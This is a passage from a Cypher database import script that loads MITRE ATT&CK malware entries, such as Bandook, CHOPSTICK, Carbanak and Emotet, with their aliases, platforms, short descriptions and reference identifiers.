created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--9af05de0-bc09-4511-a350-5eb8b06185c1", external_references:["a8ff6490-ecd8-4a6e-aba8-07e68cb1a599", "a54558ee-4954-460f-9b28-f03f9663d608", "efd17d8f-6684-4cbe-9914-674c5a974f2c"]}}, {_id:9825, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Bandook\"],\"x_mitre_version\":\"1.0\"}", description:"[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi, which has been available since roughly 2007  (Citation: EFF Manul Aug 2016) (Citation: Lookout Dark Caracal Jan 2018).", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Bandook", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--835a79f1-842d-472d-b8f4-d54b545c341b", external_references:["f0bce49b-3ac7-4423-ab5c-d41a9597ffc6", "78f09d32-348b-4d94-9a31-de99c03aed9e", "8b61d19f-a8f6-4cad-972c-3d2f2f2f3baf"]}}, {_id:9829, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Bankshot\",\"Trojan Manuscript\"],\"x_mitre_version\":\"1.0\"}", description:"[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Bankshot", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", external_references:["5d784994-e0fe-45b7-86e2-31e7efd4b95c", "7940747d-40ae-48aa-9610-8424645d3235", "b16ade67-268f-4891-956c-e0edc2d3695b", "943344c6-17d9-451c-99e6-fc31eac8415a"]}}, {_id:9838, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:57.807Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"BlackEnergy\",\"Black Energy\"],\"x_mitre_version\":\"1.1\"}", description:"[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"BlackEnergy", modified:"2019-06-24T17:08:51.442Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", external_references:["ee2f1c63-c157-445e-81a3-bc22f1cd187a", "721acda5-7bda-45cc-b8cb-70f13425435c"]}}, {_id:9857, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:19.389Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\"],\"x_mitre_aliases\":[\"CHOPSTICK\",\"Backdoor.SofacyX\",\"SPLM\",\"Xagent\",\"X-Agent\",\"webhp\"],\"x_mitre_version\":\"2.0\",\"x_mitre_contributors\":[\"Richard Gold, Digital Shadows\"]}", description:"[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"CHOPSTICK", modified:"2019-05-14T17:10:21.597Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", external_references:["7c52c0d7-a12e-4770-ace6-e7426a435bb5", "23b3de2c-a1ca-4553-904c-d7d296fb66be", "1a62b40c-60a8-45db-9941-4d3fea55f317", "1af7b19d-4f20-4867-9699-ff4654eb8897", "129a8bef-e737-49b9-90cb-5f2609a752ef", "892e2c19-2ac1-4a73-b7d0-2d2f5359eba1", "776f32b2-bafc-4ff4-aec4-f1f838031c7b", "2c85c46d-e4d0-47b6-9744-19b9d7926483", "a1209f84-c6d4-4de7-9b3f-965813b458fc", "e23ffb19-ff84-476f-8117-3cf4e59103ff", "30696197-a664-4b48-9876-525393f0cbdf", "dee73ffc-cb01-4ca9-ba77-6b7a69765124"]}}, {_id:9882, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_aliases\":[\"Calisto\"],\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Cody Thomas, SpecterOps\"]}", description:"[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Calisto", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b8fdef82-d2cf-4948-8949-6466357b1be1", external_references:["6e71246d-84b8-4ca0-b38b-6ef5e2043342", "9cb6cbb0-224e-4777-894d-74f550a1083b", "6f4eaded-629f-43e7-a28f-e21ca18d1973", "6711ef60-f4fe-4f33-aaf8-f7158938fb42"]}}, {_id:9895, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:22.213Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Carbanak\",\"Anunak\"],\"x_mitre_version\":\"1.0\"}", description:"[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Carbanak", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", external_references:["cd68ec64-d110-40f9-b379-d7fa9b251be1", "6db5c08d-833a-4eb9-9149-437007d231b0", "ed73d79c-5b5c-48ec-a553-892074b0be5a", "ef3c73fa-0de5-4b46-9794-244d80c2f630", "c9189a7d-9270-4db9-82d1-4e3bfe4332ef", "617f5e1a-42c7-4fd1-9fb3-50bdbbaf4dc2"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:malware:SDO;
UNWIND [{_id:9902, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T19:36:02.103Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Carbon\"]}", description:"[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Carbon", modified:"2019-04-12T14:43:22.440Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", external_references:["734b375b-09b4-49ff-9e97-40d11e8310b0", "c995d11c-2368-4ef7-96cd-cc6c0ced65f3", "e6fa5417-7890-4c33-91ae-9876e79b35aa", "802db36a-f686-42c6-aef2-180d32d0eb05"]}}, {_id:9907, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-30T16:39:53.573Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Cardinal RAT\"],\"x_mitre_version\":\"1.0\"}", description:"[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Cardinal RAT", modified:"2019-06-10T18:25:51.350Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", external_references:["79a622d8-8257-4ebd-978c-650355dbadef", "42a6cc9f-d541-4bfe-84a9-5f500ed9106b", "e4789406-ccf8-4172-a9fd-cdd7361d4f76"]}}, {_id:9911, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Catchamas\"],\"x_mitre_version\":\"1.0\"}", description:"[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Catchamas", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", external_references:["999d6e9b-dc22-48cf-a2cc-d20c108eaac6", "614f7d20-7fcb-417a-bcc7-f1187d24d897", "fa85fe71-faab-4720-a4b3-d115246ccbc3"]}}, {_id:9915, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:22.451Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ChChes\",\"Scorpion\",\"HAYMAKER\"],\"x_mitre_version\":\"1.0\"}", description:"[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ChChes", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", external_references:["72d45a30-664a-43c8-ad85-0b6397b645ff", "06aac885-8b53-4779-a04c-2c62dcb8155e", "97d0887d-c707-4e59-8c0f-dfb00f1a3b1e", "cd38e0cb-effd-4924-8b70-367f83bbf85e", "15388536-1cf1-42d5-8e05-e8c4291116cc", "0234861a-6742-4b7b-9d77-e3af7f75ebf4", "e979bcd4-c4ed-4aff-9de1-538a73104ad4", "64dffe63-468b-40a4-a15b-4210ea5427ad", "4b7b1cc9-3a58-4fcb-8e9d-855521d70f3e"]}}, {_id:9932, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:18.315Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"China Chopper\"],\"x_mitre_version\":\"2.0\"}", description:"[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"China Chopper", modified:"2019-04-24T16:39:53.803Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", external_references:["daa1d727-a2dd-4e9b-9c95-eec4693fa7cc", "1c349056-0e18-4812-9eb4-7cecc7670fad", "7ea5a09c-7fa0-43d6-a8a9-ac10d4cf1407", "75f38bb3-109b-428d-a9b5-0fbed26db173", "c7549f89-38e8-4392-a777-c9ee39553fe0"]}}, {_id:9942, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T21:40:37.350Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"Cobian RAT\"]}", description:"[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Cobian RAT", modified:"2019-04-23T21:09:54.593Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--aa1462a1-d065-416c-b354-bedd04998c7f", external_references:["f9ba64ba-deb9-4c52-b231-6d66fd47d2aa", "6ded6ff7-66c0-40eb-9bdd-01e3272bc3f6", "7b63f0ee-579e-4e15-9ccb-cd651306b3b9"]}}, {_id:9949, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:13.252Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"ComRAT\"],\"x_mitre_version\":\"1.0\"}", description:"[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"ComRAT", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--da5880b4-f7da-4869-85f2-e0aba84b8565", external_references:["ef352336-3324-482e-a277-89e93d5ec232", "fa1dfae5-e4da-4f6b-8b30-e033a550ee7e", "8351e06e-07c1-4abf-bfbb-8a0a219e9f7a"]}}, {_id:9953, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Comnie\"],\"x_mitre_version\":\"1.0\"}", description:"[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Comnie", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", external_references:["80abb36f-01ba-40a8-a4ae-ffbf3890be0c", "f20daaab-d0ca-4188-b88c-67790e912ce0", "386c509b-8a1c-4d49-9a1a-0ba56e9c9866"]}}, {_id:9957, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:36.550Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"CosmicDuke\",\"TinyBaron\",\"BotgenStudios\",\"NemesisGemina\"],\"x_mitre_version\":\"1.0\"}", description:"[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"CosmicDuke", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", external_references:["35db50fc-5eef-4945-ab8a-dedc82b50bb5", "ab322384-d7c7-4591-9166-a46c8cc23f01"]}}, {_id:9960, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:35.022Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"CozyCar\",\"CozyDuke\",\"CozyBear\",\"Cozer\",\"EuroAPT\"],\"x_mitre_version\":\"1.1\"}", description:"[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"CozyCar", modified:"2019-04-24T23:17:24.947Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--e6ef745b-077f-42e1-a37d-29eecff9c754", external_references:["f0cf4e4d-3720-4c12-ba3f-96a170d04047", "0946648e-2a7a-430f-9d3a-217d24151d1d"]}}, {_id:9974, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"DOGCALL\"],\"x_mitre_version\":\"1.1\"}", description:"[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"DOGCALL", modified:"2019-01-29T18:23:45.808Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--0852567d-7958-4f4b-8947-4f840ec8d57d", external_references:["c394a5ed-da7e-40ca-bf20-b578db8d6d3c", "2b1f477d-a913-4411-8b73-3a2fdededd2a", "b8643a79-a174-466a-8f22-b5565f50f7de"]}}, {_id:9978, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-01-29T19:18:28.468Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_aliases\":[\"DarkComet\",\"DarkKomet\",\"Fynloski\",\"Krademok\",\"FYNLOS\"]}", description:"[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"DarkComet", modified:"2019-06-04T19:40:43.387Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--53ab35c2-d00e-491a-8753-41d35ae7e547", external_references:["c2318ade-0fe1-421a-8a9d-1490b4ebb5be", "ddb88029-3801-4a86-a49b-b857e952f632", "11647e8e-2ebf-40ad-8439-2a2e93b0096b", "95750ea3-9a84-468f-96af-f9fc7b3310da", "e85d74a2-b1cf-44fa-85c1-66f9cebdf873", "e14685d3-200a-4ad1-8695-f0b95735d5a1", "f5bef0ac-795b-44a9-bcb1-d08461f32993", "98b5f6f1-27d3-4a8c-8449-0ba6828ec930"]}}, {_id:9989, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Daserf\",\"Muirim\",\"Nioupale\"],\"x_mitre_version\":\"1.0\"}", description:"[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Daserf", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", external_references:["9dd679d2-353a-44ea-a43f-b283d4733af4", "7f1a088c-3f55-406f-98e3-9508a6c171bf", "3c718348-f67f-40c6-8d54-15ea6a766e4e", "93c05cf9-3967-4f2f-8c3c-2593d9ad70f5", "d927c66d-2ecc-425b-9041-1fb148049e2f", "eb20ea4b-3ff0-48c0-90eb-127ad2464dbc"]}}, {_id:10004, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:18.668Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\"],\"x_mitre_aliases\":[\"Derusbi\",\"PHOTO\"],\"x_mitre_version\":\"1.0\"}", description:"[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Derusbi", modified:"2019-08-16T18:52:50.522Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--94379dec-5c87-49db-b36e-66abc0b81344", external_references:["7a6b504e-0af1-4b2d-98bd-959e2253566c", "09909294-0702-47b2-ac16-2899a7247804", "225208ce-88fc-401c-8854-e698a8e0b086", "ffc8bbdf-d337-4795-bde9-7eb88284ff48", "e7580ee5-1987-409d-b69c-c14ea794a608", "3e1f240d-0095-45b6-abbd-fef218af136d", "0f13309a-6180-4fbb-a848-baf8b4b08da5"]}}, {_id:10016, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_aliases\":[\"Dok\",\"Retefe\"],\"x_mitre_version\":\"1.0\"}", description:"[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle  (Citation: objsee mac malware 2017).", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Dok", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--f36b2598-515f-4345-84e5-5ccde253edbe", external_references:["99ec1487-8d5f-4c62-a2cb-81549db32989", "43252849-2f45-41f5-b5ec-b7500d7e9167", "bc7c89cc-1e11-463a-b96a-3146e4acef29", "e77a4a5a-4b4b-470c-b07f-80eea08c9dec"]}}, {_id:10025, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:33:16.790Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Downdelph\",\"Delphacy\"],\"x_mitre_version\":\"1.1\"}", description:"[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Downdelph", modified:"2019-10-15T18:00:19.329Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", external_references:["d99bbf18-1612-4800-91b3-7c02a411d874", "5875195f-9e0e-4305-a60c-aff49a511295"]}}, {_id:10033, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:31.188Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Duqu\"],\"x_mitre_version\":\"1.1\"}", description:"[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Duqu", modified:"2019-04-24T23:18:53.005Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--68dca94f-c11d-421e-9287-7c501108e18c", external_references:["40e75553-836b-4490-9369-41c4931fd108", "d7eaa164-fb2d-401c-9c79-a67f3f37a69e"]}}, {_id:10036, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:41.750Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"DustySky\",\"NeD Worm\"],\"x_mitre_version\":\"1.0\"}", description:"[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"DustySky", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--687c23e4-4e25-4ee7-a870-c5e002511f54", external_references:["68898aa6-560b-499f-8683-ccc601e59d54", "282c5611-9cab-4a22-8900-a4c6a9af30fd", "7c880f80-0f71-45ce-967e-dcc2eccdf9d2"]}}, {_id:10052, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:32:54.416Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_version\":\"1.1\",\"x_mitre_aliases\":[\"Elise\",\"BKDR_ESILE\",\"Page\"]}", description:"[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Elise", modified:"2019-04-17T22:12:24.546Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--7551188b-8f91-4d34-8350-0d0c57b2b913", external_references:["c7829756-c2c8-4bc6-b954-6c2deef1ed89", "2bf5763f-d960-4970-91c6-f01d802c9e58", "5c8d5c88-ed01-453f-8a8c-e8241958d370", "79ff2cfc-263f-44c0-8d67-372695edbd06", "ad148597-7c69-4d26-9897-0a6c226e49b2", "83cadf34-02fc-4b28-a137-8afe1e575dde"]}}, {_id:10063, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-25T18:35:14.353Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_aliases\":[\"Emotet\",\"Geodo\"],\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Omkar Gudhate\"]}", description:"[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)", type:"malware", revoked:false, labels:["malware"], granular_markings:[], name:"Emotet", modified:"2019-06-28T15:25:28.858Z", kill_chain_phases:[], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", external_references:["be4123a9-e0fd-4649-a21a-f587df9888d5", "7c411734-444c-408e-828d-7a54548a6208", "966bfee0-6a19-4a87-a740-fbe106ba6b9c", "da7c10f9-5126-4d31-a942-818e0cf6a403", "913988f2-28f1-4170-94fe-e968f37f13d0", "617fe749-2137-4a01-b14a-5064c9eb780a", "e12b8bc6-dc04-447f-9140-9de6befd270a", "f764d30b-3819-41ac-91a9-49ffd8362d1f", "4bbbb8bf-6fab-414c-a4fb-38b20cb7d637", "8f1681f1-8d3a-4414-a6a0-b7211ac78a0b", "6eb3af3c-ba7a-4427-be7c-0c38788e4d66", "fa73ff7f-5e20-4d10-8e77-bb86f5f35707", "a1e14381-84c9-4523-afe9-fa2ce5e56c7e", 